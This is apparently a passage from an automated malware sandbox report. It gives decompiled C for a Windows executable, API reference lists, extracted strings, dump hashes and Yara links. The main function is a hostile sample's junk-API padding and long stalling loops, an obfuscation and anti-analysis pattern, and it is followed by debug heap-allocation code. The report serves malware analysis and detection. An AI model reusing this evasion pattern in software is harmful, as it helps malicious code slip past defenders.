					OpenMutexA(0, 0, 0);
				}
				if(_v4 == 0x63e) {
					goto L13;
				}
				if( *0x4c8abc == 0xf) {
					GetModuleFileNameW(0,  &_a3392, 0);
				}
				_t206 = _v4 + 1;
				_v4 = _t206;
				if(_t206 < 0x1138855) {
					goto L6;
				} else {
				}
				L14:
				_t308 = 0;
				do {
					if( *0x4c8abc == 0x6b) {
						_a52.dwSize = 0;
						E00422580( &_a56, 0, 0x30);
						_t316 = _t316 + 0xc;
						CommConfigDialogA("lomubo", 0,  &_a52);
						HeapSize(0, 0, 0);
					}
					 *0x4c80b0 = 0;
					if(_t308 > 0x22112 && _a4 != 0x342502a && _a64 != 0x342502a &&  *0x4c8abc == 0xfc5) {
						_t256 =  &_a1344;
						GetComputerNameA( &_a1344,  &_a4);
						OpenMutexW(0, 0, L"Gonebekapo bipumano");
					}
					_t308 = _t308 + 1;
				} while (_t308 < 0x5f54b6cd);
				_t96 = 0;
				_v4 = 0;
				do {
					if(_t96 == 0x3fa) {
						_t96 = E00433990(_t96);
					}
					if( *0x4c8abc == 0x65) {
						__imp__CreateActCtxA( &_a52);
						LoadLibraryW(L"mirel");
						WriteProfileStringA("kexofec", "poyohokeruyinemococezematomunegurohociya", "vusogikekefuuhapitecuxine");
						GetConsoleCursorInfo(0,  &_a32);
						OpenSemaphoreA(0, 0, "geceyuhocavanino goruyitozekitapopit");
						SetUnhandledExceptionFilter(0);
						ResetWriteWatch(0, 0);
						__imp__ChangeTimerQueueTimer(0, 0, 0, 0);
						SetFilePointer(0, 0, 0, 0);
						SetCommState(0, 0);
						EnumSystemLocalesA(0, 0);
						_lclose(0);
						SetSystemTimeAdjustment(0, 0);
						_a128.dwSize = 0;
						E00422580( &_a132, 0, 0x30);
						_t316 = _t316 + 0xc;
						GetCommConfig(0,  &_a128,  &_v24);
						EnumDateFormatsW(0, 0, 0);
						LocalUnlock(0);
						WriteConsoleInputW(0, 0, 0,  &_v16);
						__imp__GetConsoleAliasExesLengthW();
						GetAtomNameA(0,  &_a1312, 0);
						IsBadStringPtrA(0, 0);
						CreateIoCompletionPort(0,  &_v4, 0, 0);
						SearchPathA(0, 0, 0, 0,  &_a288,  &_v20);
						_v32 = 0;
						SetConsoleCursorPosition(0, 0);
						_t256 =  &_a3360;
						__imp__GetVolumePathNamesForVolumeNameW(0,  &_a3360, 0,  &_v0);
						SetConsoleCP(0);
						MoveFileExW(0, 0, 0);
						__imp__EnumDateFormatsExW(0, 0, 0);
						__imp__UnregisterWaitEx(0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						__imp__CreateHardLinkW(0, 0, 0);
						HeapWalk(0, 0);
						lstrcpyA( &_a2284, "Cemabiruye gigohep tohicur tayohumuy bixepito");
						__imp__SetFileValidData(0, 0, 0);
						_t96 = _v100;
					}
					_t96 = _t96 + 1;
					_v4 = _t96;
				} while (_t96 < 0x485ceb);
				E004338D0();
				_t98 =  *0x4c8abc;
				_t310 = 0x199615;
				do {
					if(_t98 == 0x105) {
						OutputDebugStringA("zijiwe");
						_t98 =  *0x4c8abc;
					}
					_t310 = _t310 - 1;
				} while (_t310 != 0);
				L34:
				L34:
				if(_t98 == 0x9e2) {
					FreeEnvironmentStringsW(0);
					FindFirstFileW(0, 0);
					FindNextFileA(0,  &_a320);
					_t98 =  *0x4c8abc;
				}
				if(_t310 == 0x3b22) {
					_t256 =  *0x44b3f0; // 0x3f6012
					 *0x4c8ac0 = _t256;
				}
				if(_t98 == 0xdb5) {
					goto L48;
				}
				_t310 = _t310 + 1;
				if(_t310 < 0xe6793) {
					goto L34;
				}
				_t312 = 0;
				if(_t98 != 0) {
					do {
						E004339B0(_t312);
						if( *0x4c8abc == 0x22) {
							InterlockedDecrement( &_a4);
						}
						_t312 = _t312 + 1;
					} while (_t312 <  *0x4c8abc);
				}
				E004338F0(_t256); // executed
				E00433FF0(); // executed
				if( *0x4c8abc == 0x1d) {
					WaitNamedPipeW(L"Yiwayimozeyawir", 0);
					WritePrivateProfileStringA("mikujukedzicuharu", "furafizasuyesipgfhjebevocejirijan", "mecevfgituxe", "zetipabobubawekicugidfgh");
					LoadLibraryW(0);
					DefineDosDeviceA(0, 0, 0);
					SetConsoleTitleW(0);
					GetPrivateProfileIntA("lezacekipinarewuyupebih", "tasuwimetiviyimehutakaboyani", 0, "muronezukelokeponfoxuwileyamayozuhonozimevafibajif");
					OutputDebugStringA(0);
					_a16 = 0;
					_a20 = 0;
					__imp__InterlockedPushEntrySList( &_a16, 0);
					__imp__CreateActCtxA( &_a44);
					VirtualLock(0, 0);
					lstrcatW( &_a10548, 0);
					WriteProfileStringA(0, 0, 0);
					TerminateProcess(0, 0);
					WritePrivateProfileSectionA(0, 0, 0);
					GlobalMemoryStatus( &_a144);
					UnmapViewOfFile(0);
					_a92.dwSize = 0;
					E00422580( &_a96, 0, 0x30);
					GetDefaultCommConfigA(0,  &_a92,  &_v8);
					GetTempPathW(0,  &_a7476);
					WriteFileGather(0, 0, 0, 0, 0);
					FindFirstFileW(0,  &_a308);
					ContinueDebugEvent(0, 0, 0);
					GetThreadSelectorEntry(0, 0, 0);
					FatalAppExitA(0, 0);
					__imp__DeleteVolumeMountPointA("Petocol");
					GetStringTypeA(0, 0, 0, 0,  &_v20);
				}
				return 0;
				L48:
				CreateSemaphoreW(0, 0, 0, 0);
				SetLocalTime(0);
				EnumTimeFormatsA(0, 0, 0);
				FindResourceExA(0, 0, 0, 0);
				GetPrivateProfileSectionNamesA( &_a2364, 0, 0);
				SetStdHandle(0, 0);
				CloseHandle(0);
				DeleteFileW(0);
				EnumDateFormatsA(0, 0, 0);
				CreateSemaphoreW(0, 0, 0, 0);
				GetNumberFormatA(0, 0, 0, 0,  &_a1336, 0);
				_v12 = 0;
				_v8 = 0;
				ReadConsoleOutputW(0,  &_v4, 0, 0,  &_a28);
				PeekConsoleInputW(0,  &_a200, 0,  &_a8);
				BuildCommDCBW(0,  &_a44);
				__imp__UnregisterWaitEx(0, 0);
				GlobalLock(0);
				__imp__GetVolumePathNamesForVolumeNameW(0,  &_a7472, 0,  &_a12);
				GetProcAddress(0, 0);
				MoveFileExW(0, 0, 0);
				SetThreadContext(0,  &_a288);
				SetEvent( &_a200);
				__imp__FindActCtxSectionStringW(0, 0, 0, 0,  &_a224);
				_a52.dwSize = 0;
				E00422580( &_a56, 0, 0x30);
				SetDefaultCommConfigW(0,  &_a52, 0);
				lstrcmpW(0, 0);
				__imp__HeapSetInformation(0, _v48, 0, 0);
				GetConsoleMode(0,  &_v56);
				GetFileAttributesExW(L"Hanowopede", 0,  &_a5372);
				GetPrivateProfileStructW(0, 0,  &_a6392, 0, 0);
				SetCriticalSectionSpinCount( &_a84, 0);
				GetPrivateProfileStructA(0, 0,  &_a9464, 0, 0);
				GetSystemTimeAdjustment(0, 0, 0);
				GetComputerNameA( &_a3320,  &_v40);
				GetPrivateProfileStringW(0, 0, 0,  &_a10488, 0, 0);
				_v64 = 0;
				CloseHandle( &_v64);
				ExitProcess(0);
				L13:
				_t91 =  *0x44b3fc; // 0xffffd0f2
				 *0x4c8abc = _t91;
				goto L14;
			}

0x004342f0
0x004342f3
0x004342fb
0x0043430d
0x0043432b
0x0043433e
0x0043433e
0x00434344
0x00434346
0x0043434f
0x00434356
0x00434360
0x0043436c
0x00434375
0x0043437a
0x00434381
0x00434386
0x00434389
0x00434389
0x0043439a
0x004343a0
0x00000000
0x004343a8
0x004343b2
0x004343bf
0x004343c3
0x004343cd
0x004343df
0x004343e9
0x004343f5
0x004343fd
0x00434409
0x00434415
0x00434429
0x00434437
0x00434444
0x00434455
0x00434459
0x00434470
0x00434482
0x0043448a
0x00434494
0x0043449a
0x004344a4
0x004344ac
0x004344b8
0x004344be
0x004344ca
0x004344d4
0x004344e0
0x004344e6
0x004344f2
0x00434504
0x0043450a
0x00434511
0x0043451d
0x0043451d
0x0043452b
0x00000000
0x00000000
0x00434534
0x00434542
0x00434542
0x0043454c
0x0043454d
0x00434556
0x00000000
0x00000000
0x0043455c
0x00434568
0x00434574
0x00434576
0x0043457d
0x00434588
0x00434590
0x00434595
0x004345a4
0x004345ac
0x004345ac
0x004345ae
0x004345be
0x004345e2
0x004345ea
0x004345f9
0x004345f9
0x004345ff
0x00434600
0x0043461e
0x00434620
0x00434624
0x00434629
0x0043462b
0x0043462b
0x00434637
0x00434642
0x0043464d
0x00434662
0x0043466f
0x0043467a
0x0043467e
0x00434688
0x00434692
0x004346a0
0x004346aa
0x004346b4
0x004346bc
0x004346c6
0x004346d8
0x004346e3
0x004346e8
0x004346fa
0x00434706
0x0043470e
0x0043471f
0x00434725
0x00434737
0x00434741
0x00434752
0x0043476d
0x00434779
0x0043477d
0x0043478a
0x00434794
0x0043479c
0x004347a8
0x004347b4
0x004347be
0x004347c6
0x004347ce
0x004347da
0x004347e4
0x004347f7
0x00434803
0x00434809
0x00434809
0x0043480d
0x0043480e
0x00434812
0x0043481d
0x00434822
0x00434827
0x00434830
0x00434835
0x0043483c
0x00434842
0x00434842
0x00434847
0x00434847
0x00000000
0x00434856
0x0043485b
0x0043485f
0x00434865
0x00434875
0x00434877
0x00434877
0x00434882
0x00434884
0x0043488a
0x0043488a
0x00434895
0x00000000
0x00000000
0x0043489b
0x004348a2
0x00000000
0x00000000
0x004348a4
0x004348a8
0x004348b0
0x004348b0
0x004348bc
0x004348c3
0x004348c3
0x004348c5
0x004348c6
0x004348b0
0x004348ce
0x004348d3
0x004348df
0x004348ed
0x00434907
0x0043490e
0x00434917
0x0043491e
0x00434934
0x0043493b
0x00434947
0x0043494b
0x0043494f
0x0043495a
0x00434962
0x00434971
0x0043497a
0x00434982
0x0043498b
0x00434999
0x004349a0
0x004349b1
0x004349b8
0x004349cb
0x004349da
0x004349e5
0x004349f4
0x004349fd
0x00434a06
0x00434a0e
0x00434a19
0x00434a28
0x00434a28
0x00434a36
0x00434a39
0x00434a47
0x00434a4c
0x00434a55
0x00434a5f
0x00434a6f
0x00434a77
0x00434a84
0x00434a87
0x00434a90
0x00434a9a
0x00434aa9
0x00434ac0
0x00434ac4
0x00434ac8
0x00434add
0x00434ae9
0x00434af1
0x00434af8
0x00434b0d
0x00434b15
0x00434b1e
0x00434b2d
0x00434b3b
0x00434b4d
0x00434b5e
0x00434b65
0x00434b74
0x00434b7c
0x00434b8a
0x00434b96
0x00434baa
0x00434bbc
0x00434bcb
0x00434bdd
0x00434be6
0x00434bf9
0x00434c0c
0x00434c17
0x00434c1b
0x00434c1e
0x0043455e
0x0043455e
0x00434563
0x00000000

APIs

lstrlenW.KERNEL32(004C80B8), ref: 00434314
BackupWrite.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043433E
_wscanf.LIBCMTD ref: 0043434F
__wremove.LIBCMTD ref: 00434356
_puts.LIBCMTD ref: 00434360
__putw.LIBCMTD ref: 0043436C
__wrename.LIBCMTD ref: 00434375
_atexit.LIBCMTD ref: 00434381
GetBinaryTypeW.KERNEL32(00000000,?), ref: 004343BF
SetCurrentDirectoryW.KERNEL32(00000000), ref: 004343C3
LeaveCriticalSection.KERNEL32(?), ref: 004343CD
QueryDosDeviceA.KERNEL32 ref: 004343DF
TerminateJobObject.KERNEL32 ref: 004343E9
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 004343F5
GlobalAddAtomW.KERNEL32 ref: 004343FD
CreateJobSet.KERNEL32 ref: 00434409
WriteProfileStringW.KERNEL32(00000000,00000000,00000000), ref: 00434415
GetFullPathNameA.KERNEL32(00000000,00000000,?,00000000), ref: 00434429
VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000), ref: 00434437
GetCompressedFileSizeW.KERNEL32(00000000,?), ref: 00434444
WriteConsoleOutputAttribute.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 00434459
SetNamedPipeHandleState.KERNEL32(00000000,?,?,?), ref: 00434470
lstrcpynW.KERNEL32(?,00000000,00000000), ref: 00434482
GetFileAttributesA.KERNEL32(00000000), ref: 0043448A
FatalAppExitW.KERNEL32(00000000,00000000), ref: 00434494
GetCurrentProcess.KERNEL32 ref: 0043449A
IsBadWritePtr.KERNEL32(00000000,00000000), ref: 004344A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004344AC
QueueUserWorkItem.KERNEL32(00000000,00000000,00000000), ref: 004344B8
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 004344BE
QueueUserWorkItem.KERNEL32(00000000,00000000,00000000), ref: 004344CA
EnumResourceNamesW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004344D4
DeleteTimerQueueTimer.KERNEL32(00000000,00000000,00000000), ref: 004344E0
SetFileApisToANSI.KERNEL32 ref: 004344E6
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 004344F2
AllocateUserPhysicalPages.KERNEL32(00000000,?,?), ref: 00434504
GetBinaryTypeA.KERNEL32(00000000,?), ref: 00434511
OpenMutexA.KERNEL32 ref: 0043451D
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 00434542
_memset.LIBCMT ref: 00434590
CommConfigDialogA.KERNEL32(lomubo,00000000,?), ref: 004345A4
HeapSize.KERNEL32(00000000,00000000,00000000), ref: 004345AC
GetComputerNameA.KERNEL32 ref: 004345EA
OpenMutexW.KERNEL32(00000000,00000000,Gonebekapo bipumano), ref: 004345F9
CreateActCtxA.KERNEL32 ref: 00434642
LoadLibraryW.KERNEL32(mirel), ref: 0043464D
WriteProfileStringA.KERNEL32(kexofec,poyohokeruyinemococezematomunegurohociya,vusogikekefuuhapitecuxine), ref: 00434662
GetConsoleCursorInfo.KERNEL32(00000000,?), ref: 0043466F
OpenSemaphoreA.KERNEL32 ref: 0043467A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043467E
ResetWriteWatch.KERNEL32(00000000,00000000), ref: 00434688
ChangeTimerQueueTimer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00434692
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004346A0
SetCommState.KERNEL32(00000000,00000000), ref: 004346AA
EnumSystemLocalesA.KERNEL32(00000000,00000000), ref: 004346B4
_lclose.KERNEL32(00000000), ref: 004346BC
SetSystemTimeAdjustment.KERNEL32 ref: 004346C6
_memset.LIBCMT ref: 004346E3
GetCommConfig.KERNEL32(00000000,?,?), ref: 004346FA
EnumDateFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00434706
LocalUnlock.KERNEL32(00000000), ref: 0043470E
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0043471F
GetConsoleAliasExesLengthW.KERNEL32 ref: 00434725
GetAtomNameA.KERNEL32(00000000,?,00000000), ref: 00434737
IsBadStringPtrA.KERNEL32 ref: 00434741
CreateIoCompletionPort.KERNEL32(00000000,?,00000000,00000000), ref: 00434752
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 0043476D
SetConsoleCursorPosition.KERNEL32(00000000,00000000), ref: 0043477D
GetVolumePathNamesForVolumeNameW.KERNEL32(00000000,?,00000000,?), ref: 00434794
SetConsoleCP.KERNEL32(00000000), ref: 0043479C
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 004347A8
EnumDateFormatsExW.KERNEL32(00000000,00000000,00000000), ref: 004347B4
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 004347BE
SetSystemTime.KERNEL32(00000000), ref: 004347C6
SetThreadExecutionState.KERNEL32(00000000), ref: 004347CE
CreateHardLinkW.KERNEL32(00000000,00000000,00000000), ref: 004347DA
HeapWalk.KERNEL32(00000000,00000000), ref: 004347E4
lstrcpyA.KERNEL32(?,Cemabiruye gigohep tohicur tayohumuy bixepito), ref: 004347F7
SetFileValidData.KERNEL32(00000000,00000000,00000000), ref: 00434803
OutputDebugStringA.KERNEL32(zijiwe), ref: 0043483C
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0043485F
FindFirstFileW.KERNEL32(00000000,00000000), ref: 00434865
FindNextFileA.KERNEL32(00000000,?), ref: 00434875
InterlockedDecrement.KERNEL32(?), ref: 004348C3
WaitNamedPipeW.KERNEL32(Yiwayimozeyawir,00000000), ref: 004348ED
WritePrivateProfileStringA.KERNEL32(mikujukedzicuharu,furafizasuyesipgfhjebevocejirijan,mecevfgituxe,zetipabobubawekicugidfgh), ref: 00434907
LoadLibraryW.KERNEL32(00000000), ref: 0043490E
DefineDosDeviceA.KERNEL32(00000000,00000000,00000000), ref: 00434917
SetConsoleTitleW.KERNEL32(00000000), ref: 0043491E
GetPrivateProfileIntA.KERNEL32 ref: 00434934
OutputDebugStringA.KERNEL32(00000000), ref: 0043493B
InterlockedPushEntrySList.KERNEL32(?,00000000), ref: 0043494F
CreateActCtxA.KERNEL32 ref: 0043495A
VirtualLock.KERNEL32(00000000,00000000), ref: 00434962
lstrcatW.KERNEL32(?,00000000), ref: 00434971
WriteProfileStringA.KERNEL32(00000000,00000000,00000000), ref: 0043497A
TerminateProcess.KERNEL32(00000000,00000000), ref: 00434982
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0043498B
GlobalMemoryStatus.KERNEL32 ref: 00434999
UnmapViewOfFile.KERNEL32(00000000), ref: 004349A0
_memset.LIBCMT ref: 004349B8
GetDefaultCommConfigA.KERNEL32(00000000,?,?), ref: 004349CB
GetTempPathW.KERNEL32(00000000,?), ref: 004349DA
WriteFileGather.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004349E5
FindFirstFileW.KERNEL32(00000000,?), ref: 004349F4
ContinueDebugEvent.KERNEL32(00000000,00000000,00000000), ref: 004349FD
GetThreadSelectorEntry.KERNEL32(00000000,00000000,00000000), ref: 00434A06
FatalAppExitA.KERNEL32(00000000,00000000), ref: 00434A0E
DeleteVolumeMountPointA.KERNEL32 ref: 00434A19
GetStringTypeA.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 00434A28

Strings

mikujukedzicuharu, xrefs: 00434902
\H, xrefs: 00434812
Yiwayimozeyawir, xrefs: 004348E8
Hanowopede, xrefs: 00434BA5
furafizasuyesipgfhjebevocejirijan, xrefs: 004348FD
mecevfgituxe, xrefs: 004348F8
Petocol, xrefs: 00434A14
lomubo, xrefs: 0043459F
Cemabiruye gigohep tohicur tayohumuy bixepito, xrefs: 004347EA
.dll, xrefs: 00434827
lezacekipinarewuyupebih, xrefs: 0043492F
mirel, xrefs: 00434648
vusogikekefuuhapitecuxine, xrefs: 00434653
poyohokeruyinemococezematomunegurohociya, xrefs: 00434658
zijiwe, xrefs: 00434837
tasuwimetiviyimehutakaboyani, xrefs: 0043492A
muronezukelokeponfoxuwileyamayozuhonozimevafibajif, xrefs: 00434924
kexofec, xrefs: 0043465D
zetipabobubawekicugidfgh, xrefs: 004348F3
Gonebekapo bipumano, xrefs: 004345F0
geceyuhocavanino goruyitozekitapopit, xrefs: 00434671

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Write$String$Console$Profile$CreateEnumName$CommFindPathQueueTimer$ConfigDateDebugFormatsOpenOutputPrivateProcessStateSystemTypeUserVolume_memset$AtomBinaryCurrentCursorDeleteDeviceEntryExceptionExitFatalFilterFirstGlobalHandleHeapInterlockedItemLibraryLoadMutexNamedNamesPipeResourceSectionSizeTerminateThreadTimeUnhandledVirtualWaitWork$AdjustmentAliasAllocAllocateApisAttributeAttributesBackupChangeCompletionCompressedComputerContinueCountCriticalDataDecrementDefaultDefineDialogDirectoryEnvironmentEventExecutionExesFreeFullGatherHardInfoInputLeaveLengthLinkListLocalLocalesLockMemoryModuleMountMoveNextObjectPagesPhysicalPointPointerPortPositionPushQueryResetSearchSelectorSemaphoreStatusStringsTempTitleUnlockUnmapUnregisterValidViewWalkWatch__putw__wremove__wrename_atexit_lclose_puts_wscanflstrcatlstrcpylstrcpynlstrlen
String ID: .dll$Cemabiruye gigohep tohicur tayohumuy bixepito$Gonebekapo bipumano$Hanowopede$Petocol$Yiwayimozeyawir$furafizasuyesipgfhjebevocejirijan$geceyuhocavanino goruyitozekitapopit$kexofec$lezacekipinarewuyupebih$lomubo$mecevfgituxe$mikujukedzicuharu$mirel$muronezukelokeponfoxuwileyamayozuhonozimevafibajif$poyohokeruyinemococezematomunegurohociya$tasuwimetiviyimehutakaboyani$vusogikekefuuhapitecuxine$zetipabobubawekicugidfgh$zijiwe$\H
API String ID: 2257866594-193888855
Opcode ID: 924cbb184e29f7988daa0c661dd54b1460ca24c024fe601b96a93a6dfa10f8b9
Instruction ID: 8bcb7aac80bfe948cccc56d840d490b1beda0949222a8f4238a43f5888effebe
Opcode Fuzzy Hash: 924cbb184e29f7988daa0c661dd54b1460ca24c024fe601b96a93a6dfa10f8b9
Instruction Fuzzy Hash: 98424471544344BFE360ABA0DE4AFAB776CEB88B46F10442DF345A90E0D6B46944CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041953F, Relevance: 19.6, APIs: 13, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000), ref: 00419547
_check_managed_app.LIBCMTD ref: 0041954D
__heap_init.LIBCMTD ref: 00419555

Part of subcall function 00421270: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,?,0041955A), ref: 00421286

_fast_error_exit.LIBCMTD ref: 00419560

Part of subcall function 004196B0: __FF_MSGBANNER.LIBCMTD ref: 004196BE
Part of subcall function 004196B0: __NMSG_WRITE.LIBCMTD ref: 004196C7
Part of subcall function 004196B0: ___crtExitProcess.LIBCMTD ref: 004196D4

_fast_error_exit.LIBCMTD ref: 00419573
__RTC_Initialize.LIBCMTD ref: 00419585
__ioinit.LIBCMTD ref: 00419591
GetCommandLineW.KERNEL32 ref: 004195A4
___crtGetEnvironmentStringsW.LIBCMTD ref: 004195AF
___wsetargv.LIBCMTD ref: 004195B9
__wsetenvp.LIBCMTD ref: 004195CC
__cinit.LIBCMTD ref: 004195E1
__wwincmdln.LIBCMTD ref: 004195FE

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap___crt_fast_error_exit$CommandCreateEnvironmentExitInformationInitializeLineProcessStrings___wsetargv__cinit__heap_init__ioinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3277516446-0
Opcode ID: 0eb0caf322befbd7dacba3ae5c6a403f9e8f83a930990ec8e5a0d70d7c5e61f3
Instruction ID: d3f25d014f27d54e8365eba23f97f1eb9f77d696780a46b04218c9868031fb41
Opcode Fuzzy Hash: 0eb0caf322befbd7dacba3ae5c6a403f9e8f83a930990ec8e5a0d70d7c5e61f3
Instruction Fuzzy Hash: B73154B5E503049AEB10BBF2AC567DE76A0AF1070CF10043EF505AB292F6799D81C66E

Uniqueness

Uniqueness Score: -1.00%

Function 0041D197, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0041D197() {
				signed int _t81;
				signed int _t82;
				intOrPtr _t83;
				signed int _t99;
				void* _t104;
				void* _t105;
				signed int _t107;
				void* _t111;
				void* _t112;
				intOrPtr _t114;
				void* _t117;
				signed int _t123;
				signed int _t124;
				intOrPtr _t127;
				signed int _t128;
				signed int _t158;
				intOrPtr _t159;
				intOrPtr _t160;
				signed int _t170;
				signed int _t171;
				void* _t174;
				void* _t176;
				void* _t177;
				void* _t187;
				void* _t191;

				_t177 = _t176 + 4;
				 *(_t174 - 4) = 0;
				if( *0x44bf0c > 0) {
					_t114 =  *0x44bf0c; // 0x0
					_t187 =  *0x44bef4 - _t114 - 1; // 0x0
					if(_t187 != 0) {
						_t170 =  *0x44bef4; // 0x0
						_t171 = _t170 + 1;
						__eflags = _t171;
						 *0x44bef4 = _t171;
					} else {
						if(E0041E4F0() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x17f);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t117 = L0041AAF0();
							_t177 = _t177 + 0x14;
							if(_t117 == 1) {
								asm("int3");
							}
						}
						 *0x44bef4 = 0;
					}
				}
				_t81 =  *0x43e40c; // 0x34
				 *(_t174 - 0x28) = _t81;
				if( *0x43e410 != 0xffffffff) {
					_t191 =  *(_t174 - 0x28) -  *0x43e410; // 0xffffffff
					if(_t191 == 0) {
						asm("int3");
					}
				}
				if( *0x43eac8 == 0) {
					L19:
					__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t174 + 0xc) & 0x0000ffff) != 2) {
						_t107 =  *0x43e404; // 0x1
						__eflags = _t107 & 0x00000001;
						if((_t107 & 0x00000001) == 0) {
							 *(_t174 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t174 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t174 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t174 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t174 + 0xc) - 1;
							if( *(_t174 + 0xc) != 1) {
								__eflags = ( *(_t174 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t174 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t174 + 0xc) - 3;
									if( *(_t174 + 0xc) != 3) {
										_t104 = L00426120(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t177 = _t177 + 0x18;
										__eflags = _t104 - 1;
										if(_t104 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t174 - 0x2c)) =  *((intOrPtr*)(_t174 + 8)) + 0x24;
						_t82 = E004260C0( *((intOrPtr*)(_t174 + 8)) + 0x24,  *((intOrPtr*)(_t174 - 0x2c))); // executed
						 *(_t174 - 0x24) = _t82;
						__eflags =  *(_t174 - 0x24);
						if( *(_t174 - 0x24) != 0) {
							_t123 =  *0x43e40c; // 0x34
							_t124 = _t123 + 1;
							 *0x43e40c = _t124;
							__eflags =  *(_t174 - 0x1c);
							if( *(_t174 - 0x1c) == 0) {
								__eflags = (_t124 | 0xffffffff) -  *0x44beec -  *((intOrPtr*)(_t174 + 8));
								if((_t124 | 0xffffffff) -  *0x44beec <=  *((intOrPtr*)(_t174 + 8))) {
									 *0x44beec = 0xffffffff;
								} else {
									_t160 =  *0x44beec; // 0x3852
									 *0x44beec = _t160 +  *((intOrPtr*)(_t174 + 8));
								}
								_t83 =  *0x44bf04; // 0x1fca
								 *0x44bf04 = _t83 +  *((intOrPtr*)(_t174 + 8));
								_t127 =  *0x44bf04; // 0x1fca
								__eflags = _t127 -  *0x44bef8; // 0x25ee
								if(__eflags > 0) {
									_t159 =  *0x44bf04; // 0x1fca
									 *0x44bef8 = _t159;
								}
								__eflags =  *0x44befc;
								if( *0x44befc == 0) {
									 *0x44bef0 =  *(_t174 - 0x24);
								} else {
									_t99 =  *0x44befc; // 0xa318f8
									 *(_t99 + 4) =  *(_t174 - 0x24);
								}
								_t128 =  *0x44befc; // 0xa318f8
								 *( *(_t174 - 0x24)) = _t128;
								 *( *(_t174 - 0x24) + 4) = 0;
								 *( *(_t174 - 0x24) + 8) =  *(_t174 + 0x10);
								 *((intOrPtr*)( *(_t174 - 0x24) + 0xc)) =  *((intOrPtr*)(_t174 + 0x14));
								 *((intOrPtr*)( *(_t174 - 0x24) + 0x10)) =  *((intOrPtr*)(_t174 + 8));
								 *( *(_t174 - 0x24) + 0x14) =  *(_t174 + 0xc);
								 *( *(_t174 - 0x24) + 0x18) =  *(_t174 - 0x28);
								 *0x44befc =  *(_t174 - 0x24);
							} else {
								 *( *(_t174 - 0x24)) = 0;
								 *( *(_t174 - 0x24) + 4) = 0;
								 *( *(_t174 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t174 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t174 - 0x24) + 0x10)) =  *((intOrPtr*)(_t174 + 8));
								 *( *(_t174 - 0x24) + 0x14) = 3;
								 *( *(_t174 - 0x24) + 0x18) = 0;
							}
							E00422580( *(_t174 - 0x24) + 0x1c,  *0x43e414 & 0x000000ff, 4);
							E00422580( *(_t174 - 0x24) +  *((intOrPtr*)(_t174 + 8)) + 0x20,  *0x43e414 & 0x000000ff, 4);
							E00422580( *(_t174 - 0x24) + 0x20,  *0x43e417 & 0x000000ff,  *((intOrPtr*)(_t174 + 8)));
							_t158 =  *(_t174 - 0x24) + 0x20;
							__eflags = _t158;
							 *(_t174 - 0x20) = _t158;
						} else {
							__eflags =  *(_t174 + 0x18);
							if( *(_t174 + 0x18) != 0) {
								 *( *(_t174 + 0x18)) = 0xc;
							}
						}
					} else {
						_t105 = L00426120(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t174 + 8)));
						__eflags = _t105 - 1;
						if(_t105 == 1) {
							asm("int3");
						}
						__eflags =  *(_t174 + 0x18);
						if( *(_t174 + 0x18) != 0) {
